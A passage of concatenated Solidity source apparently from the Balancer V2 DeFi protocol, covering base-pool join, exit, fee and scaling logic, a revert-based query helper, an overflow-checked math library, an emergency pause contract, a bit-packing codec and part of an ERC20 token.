function _onJoinPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
uint256[] memory scalingFactors,
bytes memory userData
)
internal
virtual
returns (
uint256 bptAmountOut,
uint256[] memory amountsIn,
uint256[] memory dueProtocolFeeAmounts
);
/**
* @dev Called whenever the Pool is exited.
*
* Returns the amount of BPT to burn, the token amounts for each Pool token that the Pool will grant in return, and
* the number of tokens to pay in protocol swap fees.
*
* Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when
* performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely.
*
* BPT will be burnt from `sender`.
*
* The Pool will grant tokens to `recipient`. These amounts are considered upscaled and will be downscaled
* (rounding down) before being returned to the Vault.
*
* Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onExitPool`). These
* amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault.
*/
function _onExitPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
uint256[] memory scalingFactors,
bytes memory userData
)
internal
virtual
returns (
uint256 bptAmountIn,
uint256[] memory amountsOut,
uint256[] memory dueProtocolFeeAmounts
);
// Internal functions
/**
* @dev Adds swap fee amount to `amount`, returning a higher value.
*/
function _addSwapFeeAmount(uint256 amount) internal view returns (uint256) {
// This returns amount + fee amount, so we round up (favoring a higher fee amount).
return amount.divUp(FixedPoint.ONE.sub(getSwapFeePercentage()));
}
/**
* @dev Subtracts swap fee amount from `amount`, returning a lower value.
*/
function _subtractSwapFeeAmount(uint256 amount) internal view returns (uint256) {
// This returns amount - fee amount, so we round up (favoring a higher fee amount).
uint256 feeAmount = amount.mulUp(getSwapFeePercentage());
return amount.sub(feeAmount);
}
// Scaling
/**
* @dev Returns a scaling factor that, when multiplied to a token amount for `token`, normalizes its balance as if
* it had 18 decimals.
*/
function _computeScalingFactor(IERC20 token) internal view returns (uint256) {
// Tokens that don't implement the `decimals` method are not supported.
uint256 tokenDecimals = ERC20(address(token)).decimals();
// Tokens with more than 18 decimals are not supported.
uint256 decimalsDifference = Math.sub(18, tokenDecimals);
return FixedPoint.ONE * 10**decimalsDifference;
}
/**
* @dev Returns the scaling factor for one of the Pool's tokens. Reverts if `token` is not a token registered by the
* Pool.
*
* All scaling factors are fixed-point values with 18 decimals, to allow for this function to be overridden by
* derived contracts that need to apply further scaling, making these factors potentially non-integer.
*
* The largest 'base' scaling factor (i.e. in tokens with less than 18 decimals) is 10**18, which in fixed-point is
* 10**36. This value can be multiplied with a 112 bit Vault balance with no overflow by a factor of ~1e7, making
* even relatively 'large' factors safe to use.
*
* The 1e7 figure is the result of 2**256 / (1e18 * 1e18 * 2**112).
*/
function _scalingFactor(IERC20 token) internal view virtual returns (uint256);
/**
* @dev Same as `_scalingFactor()`, except for all registered tokens (in the same order as registered). The Vault
* will always pass balances in this order when calling any of the Pool hooks.
*/
function _scalingFactors() internal view virtual returns (uint256[] memory);
function getScalingFactors() external view returns (uint256[] memory) {
return _scalingFactors();
}
/**
* @dev Applies `scalingFactor` to `amount`, resulting in a larger or equal value depending on whether it needed
* scaling or not.
*/
function _upscale(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) {
// Upscale rounding wouldn't necessarily always go in the same direction: in a swap for example the balance of
// token in should be rounded up, and that of token out rounded down. This is the only place where we round in
// the same direction for all amounts, as the impact of this rounding is expected to be minimal (and there's no
// rounding error unless `_scalingFactor()` is overriden).
return FixedPoint.mulDown(amount, scalingFactor);
}
/**
* @dev Same as `_upscale`, but for an entire array. This function does not return anything, but instead *mutates*
* the `amounts` array.
*/
function _upscaleArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view {
for (uint256 i = 0; i < _getTotalTokens(); ++i) {
amounts[i] = FixedPoint.mulDown(amounts[i], scalingFactors[i]);
}
}
/**
* @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on
* whether it needed scaling or not. The result is rounded down.
*/
function _downscaleDown(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) {
return FixedPoint.divDown(amount, scalingFactor);
}
/**
* @dev Same as `_downscaleDown`, but for an entire array. This function does not return anything, but instead
* *mutates* the `amounts` array.
*/
function _downscaleDownArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view {
for (uint256 i = 0; i < _getTotalTokens(); ++i) {
amounts[i] = FixedPoint.divDown(amounts[i], scalingFactors[i]);
}
}
/**
* @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on
* whether it needed scaling or not. The result is rounded up.
*/
function _downscaleUp(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) {
return FixedPoint.divUp(amount, scalingFactor);
}
/**
* @dev Same as `_downscaleUp`, but for an entire array. This function does not return anything, but instead
* *mutates* the `amounts` array.
*/
function _downscaleUpArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view {
for (uint256 i = 0; i < _getTotalTokens(); ++i) {
amounts[i] = FixedPoint.divUp(amounts[i], scalingFactors[i]);
}
}
function _getAuthorizer() internal view override returns (IAuthorizer) {
// Access control management is delegated to the Vault's Authorizer. This lets Balancer Governance manage which
// accounts can call permissioned functions: for example, to perform emergency pauses.
// If the owner is delegated, then *all* permissioned functions, including `setSwapFeePercentage`, will be under
// Governance control.
return getVault().getAuthorizer();
}
function _queryAction(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData,
function(bytes32, address, address, uint256[] memory, uint256, uint256, uint256[] memory, bytes memory)
internal
returns (uint256, uint256[] memory, uint256[] memory) _action,
function(uint256[] memory, uint256[] memory) internal view _downscaleArray
) private {
// This uses the same technique used by the Vault in queryBatchSwap. Refer to that function for a detailed
// explanation.
if (msg.sender != address(this)) {
// We perform an external call to ourselves, forwarding the same calldata. In this call, the else clause of
// the preceding if statement will be executed instead.
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = address(this).call(msg.data);
// solhint-disable-next-line no-inline-assembly
assembly {
// This call should always revert to decode the bpt and token amounts from the revert reason
switch success
case 0 {
// Note we are manually writing the memory slot 0. We can safely overwrite whatever is
// stored there as we take full control of the execution and then immediately return.
// We copy the first 4 bytes to check if it matches with the expected signature, otherwise
// there was another revert reason and we should forward it.
returndatacopy(0, 0, 0x04)
let error := and(mload(0), 0xffffffff00000000000000000000000000000000000000000000000000000000)
// If the first 4 bytes don't match with the expected signature, we forward the revert reason.
if eq(eq(error, 0x43adbafb00000000000000000000000000000000000000000000000000000000), 0) {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
// The returndata contains the signature, followed by the raw memory representation of the
// `bptAmount` and `tokenAmounts` (array: length + data). We need to return an ABI-encoded
// representation of these.
// An ABI-encoded response will include one additional field to indicate the starting offset of
// the `tokenAmounts` array. The `bptAmount` will be laid out in the first word of the
// returndata.
//
// In returndata:
// [ signature ][ bptAmount ][ tokenAmounts length ][ tokenAmounts values ]
// [ 4 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ]
//
// We now need to return (ABI-encoded values):
// [ bptAmount ][ tokeAmounts offset ][ tokenAmounts length ][ tokenAmounts values ]
// [ 32 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ]
// We copy 32 bytes for the `bptAmount` from returndata into memory.
// Note that we skip the first 4 bytes for the error signature
returndatacopy(0, 0x04, 32)
// The offsets are 32-bytes long, so the array of `tokenAmounts` will start after
// the initial 64 bytes.
mstore(0x20, 64)
// We now copy the raw memory array for the `tokenAmounts` from returndata into memory.
// Since bpt amount and offset take up 64 bytes, we start copying at address 0x40. We also
// skip the first 36 bytes from returndata, which correspond to the signature plus bpt amount.
returndatacopy(0x40, 0x24, sub(returndatasize(), 36))
// We finally return the ABI-encoded uint256 and the array, which has a total length equal to
// the size of returndata, plus the 32 bytes of the offset but without the 4 bytes of the
// error signature.
return(0, add(returndatasize(), 28))
}
default {
// This call should always revert, but we fail nonetheless if that didn't happen
invalid()
}
}
} else {
uint256[] memory scalingFactors = _scalingFactors();
_upscaleArray(balances, scalingFactors);
(uint256 bptAmount, uint256[] memory tokenAmounts, ) = _action(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
protocolSwapFeePercentage,
scalingFactors,
userData
);
_downscaleArray(tokenAmounts, scalingFactors);
// solhint-disable-next-line no-inline-assembly
assembly {
// We will return a raw representation of `bptAmount` and `tokenAmounts` in memory, which is composed of
// a 32-byte uint256, followed by a 32-byte for the array length, and finally the 32-byte uint256 values
// Because revert expects a size in bytes, we multiply the array length (stored at `tokenAmounts`) by 32
let size := mul(mload(tokenAmounts), 32)
// We store the `bptAmount` in the previous slot to the `tokenAmounts` array. We can make sure there
// will be at least one available slot due to how the memory scratch space works.
// We can safely overwrite whatever is stored in this slot as we will revert immediately after that.
let start := sub(tokenAmounts, 0x20)
mstore(start, bptAmount)
// We send one extra value for the error signature "QueryError(uint256,uint256[])" which is 0x43adbafb
// We use the previous slot to `bptAmount`.
mstore(sub(start, 0x20), 0x0000000000000000000000000000000000000000000000000000000043adbafb)
start := sub(start, 0x04)
// When copying from `tokenAmounts` into returndata, we copy the additional 68 bytes to also return
// the `bptAmount`, the array 's length, and the error signature.
revert(start, add(size, 68))
}
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./IBasePool.sol";
/**
* @dev Pool contracts with the MinimalSwapInfo or TwoToken specialization settings should implement this interface.
*
* This is called by the Vault when a user calls `IVault.swap` or `IVault.batchSwap` to swap with this Pool.
* Returns the number of tokens the Pool will grant to the user in a 'given in' swap, or that the user will grant
* to the pool in a 'given out' swap.
*
* This can often be implemented by a `view` function, since many pricing algorithms don't need to track state
* changes in swaps. However, contracts implementing this in non-view functions should check that the caller is
* indeed the Vault.
*/
interface IMinimalSwapInfoPool is IBasePool {
function onSwap(
SwapRequest memory swapRequest,
uint256 currentBalanceTokenIn,
uint256 currentBalanceTokenOut
) external returns (uint256 amount);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow checks.
* Adapted from OpenZeppelin's SafeMath library
*/
library Math {
/**
* @dev Returns the addition of two unsigned integers of 256 bits, reverting on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
_require(c >= a, Errors.ADD_OVERFLOW);
return c;
}
/**
* @dev Returns the addition of two signed integers, reverting on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
_require((b >= 0 && c >= a) || (b < 0 && c < a), Errors.ADD_OVERFLOW);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers of 256 bits, reverting on overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b <= a, Errors.SUB_OVERFLOW);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
_require((b >= 0 && c <= a) || (b < 0 && c > a), Errors.SUB_OVERFLOW);
return c;
}
/**
* @dev Returns the largest of two numbers of 256 bits.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers of 256 bits.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
_require(a == 0 || c / a == b, Errors.MUL_OVERFLOW);
return c;
}
function div(
uint256 a,
uint256 b,
bool roundUp
) internal pure returns (uint256) {
return roundUp ? divUp(a, b) : divDown(a, b);
}
function divDown(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
return a / b;
}
function divUp(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
if (a == 0) {
return 0;
} else {
return 1 + (a - 1) / b;
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./BalancerErrors.sol";
import "./ITemporarilyPausable.sol";
/**
* @dev Allows for a contract to be paused during an initial period after deployment, disabling functionality. Can be
* used as an emergency switch in case a security vulnerability or threat is identified.
*
* The contract can only be paused during the Pause Window, a period that starts at deployment. It can also be
* unpaused and repaused any number of times during this period. This is intended to serve as a safety measure: it lets
* system managers react quickly to potentially dangerous situations, knowing that this action is reversible if careful
* analysis later determines there was a false alarm.
*
* If the contract is paused when the Pause Window finishes, it will remain in the paused state through an additional
* Buffer Period, after which it will be automatically unpaused forever. This is to ensure there is always enough time
* to react to an emergency, even if the threat is discovered shortly before the Pause Window expires.
*
* Note that since the contract can only be paused within the Pause Window, unpausing during the Buffer Period is
* irreversible.
*/
abstract contract TemporarilyPausable is ITemporarilyPausable {
// The Pause Window and Buffer Period are timestamp-based: they should not be relied upon for sub-minute accuracy.
// solhint-disable not-rely-on-time
uint256 private constant _MAX_PAUSE_WINDOW_DURATION = 90 days;
uint256 private constant _MAX_BUFFER_PERIOD_DURATION = 30 days;
uint256 private immutable _pauseWindowEndTime;
uint256 private immutable _bufferPeriodEndTime;
bool private _paused;
constructor(uint256 pauseWindowDuration, uint256 bufferPeriodDuration) {
_require(pauseWindowDuration <= _MAX_PAUSE_WINDOW_DURATION, Errors.MAX_PAUSE_WINDOW_DURATION);
_require(bufferPeriodDuration <= _MAX_BUFFER_PERIOD_DURATION, Errors.MAX_BUFFER_PERIOD_DURATION);
uint256 pauseWindowEndTime = block.timestamp + pauseWindowDuration;
_pauseWindowEndTime = pauseWindowEndTime;
_bufferPeriodEndTime = pauseWindowEndTime + bufferPeriodDuration;
}
/**
* @dev Reverts if the contract is paused.
*/
modifier whenNotPaused() {
_ensureNotPaused();
_;
}
/**
* @dev Returns the current contract pause status, as well as the end times of the Pause Window and Buffer
* Period.
*/
function getPausedState()
external
view
override
returns (
bool paused,
uint256 pauseWindowEndTime,
uint256 bufferPeriodEndTime
)
{
paused = !_isNotPaused();
pauseWindowEndTime = _getPauseWindowEndTime();
bufferPeriodEndTime = _getBufferPeriodEndTime();
}
/**
* @dev Sets the pause state to `paused`. The contract can only be paused until the end of the Pause Window, and
* unpaused until the end of the Buffer Period.
*
* Once the Buffer Period expires, this function reverts unconditionally.
*/
function _setPaused(bool paused) internal {
if (paused) {
_require(block.timestamp < _getPauseWindowEndTime(), Errors.PAUSE_WINDOW_EXPIRED);
} else {
_require(block.timestamp < _getBufferPeriodEndTime(), Errors.BUFFER_PERIOD_EXPIRED);
}
_paused = paused;
emit PausedStateChanged(paused);
}
/**
* @dev Reverts if the contract is paused.
*/
function _ensureNotPaused() internal view {
_require(_isNotPaused(), Errors.PAUSED);
}
/**
* @dev Returns true if the contract is unpaused.
*
* Once the Buffer Period expires, the gas cost of calling this function is reduced dramatically, as storage is no
* longer accessed.
*/
function _isNotPaused() internal view returns (bool) {
// After the Buffer Period, the (inexpensive) timestamp check short-circuits the storage access.
return block.timestamp > _getBufferPeriodEndTime() || !_paused;
}
// These getters lead to reduced bytecode size by inlining the immutable variables in a single place.
function _getPauseWindowEndTime() private view returns (uint256) {
return _pauseWindowEndTime;
}
function _getBufferPeriodEndTime() private view returns (uint256) {
return _bufferPeriodEndTime;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev Library for encoding and decoding values stored inside a 256 bit word. Typically used to pack multiple values in
* a single storage slot, saving gas by performing less storage accesses.
*
* Each value is defined by its size and the least significant bit in the word, also known as offset. For example, two
* 128 bit values may be encoded in a word by assigning one an offset of 0, and the other an offset of 128.
*/
library WordCodec {
// Masks are values with the least significant N bits set. They can be used to extract an encoded value from a word,
// or to insert a new one replacing the old.
uint256 private constant _MASK_1 = 2**(1) - 1;
uint256 private constant _MASK_10 = 2**(10) - 1;
uint256 private constant _MASK_16 = 2**(16) - 1;
uint256 private constant _MASK_22 = 2**(22) - 1;
uint256 private constant _MASK_31 = 2**(31) - 1;
uint256 private constant _MASK_32 = 2**(32) - 1;
uint256 private constant _MASK_53 = 2**(53) - 1;
uint256 private constant _MASK_64 = 2**(64) - 1;
uint256 private constant _MASK_128 = 2**(128) - 1;
uint256 private constant _MASK_192 = 2**(192) - 1;
// Largest positive values that can be represented as N bits signed integers.
int256 private constant _MAX_INT_22 = 2**(21) - 1;
int256 private constant _MAX_INT_53 = 2**(52) - 1;
// In-place insertion
/**
* @dev Inserts a boolean value shifted by an offset into a 256 bit word, replacing the old value. Returns the new
* word.
*/
function insertBool(
bytes32 word,
bool value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_1 << offset));
return clearedWord | bytes32(uint256(value ? 1 : 0) << offset);
}
// Unsigned
/**
* @dev Inserts a 10 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns
* the new word.
*
* Assumes `value` only uses its least significant 10 bits, otherwise it may overwrite sibling bytes.
*/
function insertUint10(
bytes32 word,
uint256 value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_10 << offset));
return clearedWord | bytes32(value << offset);
}
/**
* @dev Inserts a 16 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value.
* Returns the new word.
*
* Assumes `value` only uses its least significant 16 bits, otherwise it may overwrite sibling bytes.
*/
function insertUint16(
bytes32 word,
uint256 value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_16 << offset));
return clearedWord | bytes32(value << offset);
}
/**
* @dev Inserts a 31 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns
* the new word.
*
* Assumes `value` can be represented using 31 bits.
*/
function insertUint31(
bytes32 word,
uint256 value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_31 << offset));
return clearedWord | bytes32(value << offset);
}
/**
* @dev Inserts a 32 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns
* the new word.
*
* Assumes `value` only uses its least significant 32 bits, otherwise it may overwrite sibling bytes.
*/
function insertUint32(
bytes32 word,
uint256 value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_32 << offset));
return clearedWord | bytes32(value << offset);
}
/**
* @dev Inserts a 64 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns
* the new word.
*
* Assumes `value` only uses its least significant 64 bits, otherwise it may overwrite sibling bytes.
*/
function insertUint64(
bytes32 word,
uint256 value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_64 << offset));
return clearedWord | bytes32(value << offset);
}
// Signed
/**
* @dev Inserts a 22 bits signed integer shifted by an offset into a 256 bit word, replacing the old value. Returns
* the new word.
*
* Assumes `value` can be represented using 22 bits.
*/
function insertInt22(
bytes32 word,
int256 value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_22 << offset));
// Integer values need masking to remove the upper bits of negative values.
return clearedWord | bytes32((uint256(value) & _MASK_22) << offset);
}
// Bytes
/**
* @dev Inserts 192 bit shifted by an offset into a 256 bit word, replacing the old value. Returns the new word.
*
* Assumes `value` can be represented using 192 bits.
*/
function insertBits192(
bytes32 word,
bytes32 value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_192 << offset));
return clearedWord | bytes32((uint256(value) & _MASK_192) << offset);
}
// Encoding
// Unsigned
/**
* @dev Encodes an unsigned integer shifted by an offset. This performs no size checks: it is up to the caller to
* ensure that the values are bounded.
*
* The return value can be logically ORed with other encoded values to form a 256 bit word.
*/
function encodeUint(uint256 value, uint256 offset) internal pure returns (bytes32) {
return bytes32(value << offset);
}
// Signed
/**
* @dev Encodes a 22 bits signed integer shifted by an offset.
*
* The return value can be logically ORed with other encoded values to form a 256 bit word.
*/
function encodeInt22(int256 value, uint256 offset) internal pure returns (bytes32) {
// Integer values need masking to remove the upper bits of negative values.
return bytes32((uint256(value) & _MASK_22) << offset);
}
/**
* @dev Encodes a 53 bits signed integer shifted by an offset.
*
* The return value can be logically ORed with other encoded values to form a 256 bit word.
*/
function encodeInt53(int256 value, uint256 offset) internal pure returns (bytes32) {
// Integer values need masking to remove the upper bits of negative values.
return bytes32((uint256(value) & _MASK_53) << offset);
}
// Decoding
/**
* @dev Decodes and returns a boolean shifted by an offset from a 256 bit word.
*/
function decodeBool(bytes32 word, uint256 offset) internal pure returns (bool) {
return (uint256(word >> offset) & _MASK_1) == 1;
}
// Unsigned
/**
* @dev Decodes and returns a 10 bit unsigned integer shifted by an offset from a 256 bit word.
*/
function decodeUint10(bytes32 word, uint256 offset) internal pure returns (uint256) {
return uint256(word >> offset) & _MASK_10;
}
/**
* @dev Decodes and returns a 16 bit unsigned integer shifted by an offset from a 256 bit word.
*/
function decodeUint16(bytes32 word, uint256 offset) internal pure returns (uint256) {
return uint256(word >> offset) & _MASK_16;
}
/**
* @dev Decodes and returns a 31 bit unsigned integer shifted by an offset from a 256 bit word.
*/
function decodeUint31(bytes32 word, uint256 offset) internal pure returns (uint256) {
return uint256(word >> offset) & _MASK_31;
}
/**
* @dev Decodes and returns a 32 bit unsigned integer shifted by an offset from a 256 bit word.
*/
function decodeUint32(bytes32 word, uint256 offset) internal pure returns (uint256) {
return uint256(word >> offset) & _MASK_32;
}
/**
* @dev Decodes and returns a 64 bit unsigned integer shifted by an offset from a 256 bit word.
*/
function decodeUint64(bytes32 word, uint256 offset) internal pure returns (uint256) {
return uint256(word >> offset) & _MASK_64;
}
/**
* @dev Decodes and returns a 128 bit unsigned integer shifted by an offset from a 256 bit word.
*/
function decodeUint128(bytes32 word, uint256 offset) internal pure returns (uint256) {
return uint256(word >> offset) & _MASK_128;
}
// Signed
/**
* @dev Decodes and returns a 22 bits signed integer shifted by an offset from a 256 bit word.
*/
function decodeInt22(bytes32 word, uint256 offset) internal pure returns (int256) {
int256 value = int256(uint256(word >> offset) & _MASK_22);
// In case the decoded value is greater than the max positive integer that can be represented with 22 bits,
// we know it was originally a negative integer. Therefore, we mask it to restore the sign in the 256 bit
// representation.
return value > _MAX_INT_22 ? (value | int256(~_MASK_22)) : value;
}
/**
* @dev Decodes and returns a 53 bits signed integer shifted by an offset from a 256 bit word.
*/
function decodeInt53(bytes32 word, uint256 offset) internal pure returns (int256) {
int256 value = int256(uint256(word >> offset) & _MASK_53);
// In case the decoded value is greater than the max positive integer that can be represented with 53 bits,
// we know it was originally a negative integer. Therefore, we mask it to restore the sign in the 256 bit
// representation.
return value > _MAX_INT_53 ? (value | int256(~_MASK_53)) : value;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
import "./IERC20.sol";
import "./SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
msg.sender,
_allowances[sender][msg.sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_ALLOWANCE)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].sub(subtractedValue, Errors.ERC20_DECREASED_ALLOWANCE_BELOW_ZERO)
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
_require(sender != address(0), Errors.ERC20_TRANSFER_FROM_ZERO_ADDRESS);
_require(recipient != address(0), Errors.ERC20_TRANSFER_TO_ZERO_ADDRESS);
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_BALANCE);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
